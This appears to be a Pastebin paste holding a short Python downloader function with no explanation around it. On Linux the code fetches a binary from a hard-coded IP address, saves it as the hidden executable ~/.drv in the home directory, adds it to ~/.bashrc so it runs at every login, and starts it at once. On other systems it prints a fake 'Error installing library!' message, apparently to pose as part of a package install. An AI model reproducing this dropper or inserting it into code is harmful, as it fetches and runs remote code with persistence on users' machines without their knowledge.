Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- def rn ():
- import platform
- s = False
- try:
- import urllib2
- except ImportError:
- import http.client
- s = True
- import os, stat
- PATH = "/out"
- IP = "145.249.104.71"
- LOC = ".drv"
- if platform.system () == "Linux":
- if not s:
- response = urllib2.urlopen ("http://" + IP + PATH).read ()
- else:
- connection = http.client.HTTPConnection (IP)
- connection.request ("GET", PATH)
- response = connection.getresponse ().read ()
- os.chdir (os.path.expanduser ("~"))
- d = open (LOC, "wb")
- d.write (response)
- d.close ()
- current_state = os.stat (LOC)
- os.chmod (LOC, current_state.st_mode|stat.S_IEXEC)
- brc = open (".bashrc", "a")
- brc.write ("\n~/.drv &")
- brc.close ()
- os.system ("~/.drv")
- else:
- print ("Error installing library!")
- exit (-1)
- rn ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement